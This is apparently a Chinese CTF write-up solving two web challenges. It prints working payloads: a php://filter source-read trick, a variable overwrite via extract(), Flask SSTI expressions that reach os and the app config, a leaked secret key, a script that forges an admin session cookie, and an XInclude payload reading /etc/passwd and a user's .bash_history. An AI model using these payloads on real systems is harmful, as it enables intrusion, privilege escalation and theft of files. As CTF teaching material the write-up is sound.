myblog
十足的腦洞題!=-=
訪問(wèn)index.php響應(yīng)頭中發(fā)現(xiàn)提示信息:?flag
圖片.png
php://filter實(shí)現(xiàn)文件讀取
php://filter/convert.base64-encode/resource=index獲得index.php源碼。
<?php
header('flag: JTNGZmxhZw==');
if(isset($_GET["flag"])){
$flag = $_GET["flag"];
include $flag.".php";
}
?>
rbl=-=
題目一直給的提示也是云里霧里
about,base64編碼-->YWJvdXQ=
訪問(wèn)http://58.20.46.150:26293/YWJvdXQ=.php 200?。?!
讀源碼:
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);
if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}
?>
變量覆蓋,獲取flag
圖片.png
shadow
提示信息:flask,/upload
訪問(wèn)upload提示需要admin登錄
嘗試flask ssti
圖片.png
思路目前已經(jīng)比較明確了
利用ssti讀取secretkey偽造session,讓自身變?yōu)閍dmin訪問(wèn)/upload
- ssti利用
參考文章:http://shaobaobaoer.cn/archives/665/tokyo-westerns-ctf-2018-web-wp
- 沒(méi)有 WAF 的情況
config:{{config}}
self:{{self.__dict__}}
():只要找一個(gè)有 os 的 subclasses
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']
## 作者給的; <type 'dict_keys'> 里本身就有 OS
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
- 當(dāng)config,self,( ) 都被過(guò)濾的時(shí)候,為了去獲得訊息,必須去讀一些全局變量。
比如:current_app
__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
如何繞過(guò)waf ? url_for 調(diào)取 current_app
首先,介紹一個(gè)很牛逼的函數(shù),叫做url_for,可以參考flask的官方文檔 flask.url_for
在它引用的內(nèi)容中,有著 current_app 的全局變量
如何繞過(guò)waf ? get_flashed_messages 調(diào)取 current_app
除此之外,還有函數(shù)包含了 current_app ,叫做 get_flashed_messages ,同樣,可以參考官方文檔 flask.get_flashed_messages
因此本題通過(guò)訪問(wèn)
http://58.20.46.150:25524/{{url_for.__globals__['current_app'].config}}
成功獲取secretkey:as/*d21as-+dhasod5a4s54:><*()dfdsf
- 之后我們就可以開(kāi)始偽造session
參考文章:https://s0cket7.com/picoctf-web/
注冊(cè)一個(gè)賬號(hào)并登陸
將session 解碼之后:
{u'csrf_token': '0c571097c78ee172ee45dc8040bfc51a8097bb5f', u'user_id': u'174', u'name': u'shy', u'_fresh': True, u'is_admin': False, u'_id': '03ecc0c802a927210d305104e208baf9d9ca3e66c0e8a30ac70d0acf8a8e8be3cba606a3589426385324a67ad8824715cfc97260e3be80e11d894a01fb92d498'}
目的是偽造成admin,因此重構(gòu)session如下:
{u'csrf_token': '0c571097c78ee172ee45dc8040bfc51a8097bb5f', u'user_id': u'174', u'name': u'admin', u'_fresh': True, u'is_admin': u'True', u'_id': '03ecc0c802a927210d305104e208baf9d9ca3e66c0e8a30ac70d0acf8a8e8be3cba606a3589426385324a67ad8824715cfc97260e3be80e11d894a01fb92d498'}
重新編碼之后為:
.eJxFkEGLwjAUhP_K8s49NLWyIHiwpCsVXoKQVZJL0VqbNokLrZI14n_frHvY0_CGeR_MPKA-j-2kYXEdb20CdX-CxQPejrAApMzKDL0MnUdXznFo7igKg2FFUKxSJSrP1xutBmv4nmnMPjPm0CuhNYZCy9B4RaNmMpdC25i1mLFeCumZKwMT3ZzRKsPQEQxVGv2Z3G9zTquUhZLITA1cNHc2FPFvYzmNKj4MpyZmV9_KVXN025SLbgnPBJppPNfXL9Ne_iuskUSU5-I0sKCtEuUM3c4yujO_tRgteuWQ4L7MkZqZdBVR3fKF66f6cHJ9hIGI20ACl4Nr4_XnJnCb2vG1F5D3HJ4_ROJrEQ.XANE-Q.9uWmYKvMMY_5eYLIeKbhSicbLRk
替換cookie,訪問(wèn)/upload成功
腳本如下:
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import sys
class CookieSessionInterface(SecureCookieSessionInterface):
def __init__(self, secret_key):
self.secret_key = secret_key
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
self.sign_serializer = URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decode(self, cookie):
return self.sign_serializer.loads(cookie)
def encode(self, cookie):
return self.sign_serializer.dumps(cookie)
if __name__=='__main__':
secret = 'as/*d21as-+dhasod5a4s54:><*()dfdsf'
cookie = sys.argv[1]
csi = CookieSessionInterface(secret)
decoded_cookie = csi.decode(cookie)
print "* ORIGINAL COOKIE:", decoded_cookie
decoded_cookie['is_admin'] = u"True"
decoded_cookie['name'] = u"admin"
print "* MODIFIED COOKIE", decoded_cookie
new_cookie = csi.encode(decoded_cookie)
print "+ MODIFIED SECRET ENCODED COOKIE:", new_cookie
/upload為一個(gè)上傳頁(yè)面,隨意上傳文件500=-=
迷......
然后發(fā)現(xiàn)
圖片.png
- 嘗試xxe,測(cè)試發(fā)現(xiàn)禁用了
<!ENTITY,<!DOCTYPE
圖片.png
搜索了一波xxe payload,測(cè)試發(fā)現(xiàn)可以用xinclude
payload:
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
圖片.png
不能列目錄,有點(diǎn)懵~
發(fā)現(xiàn)其中有一個(gè)rq用戶比較可疑
嘗試讀取/home/rq/.bash_history
圖片.png
讀取flag
圖片.png







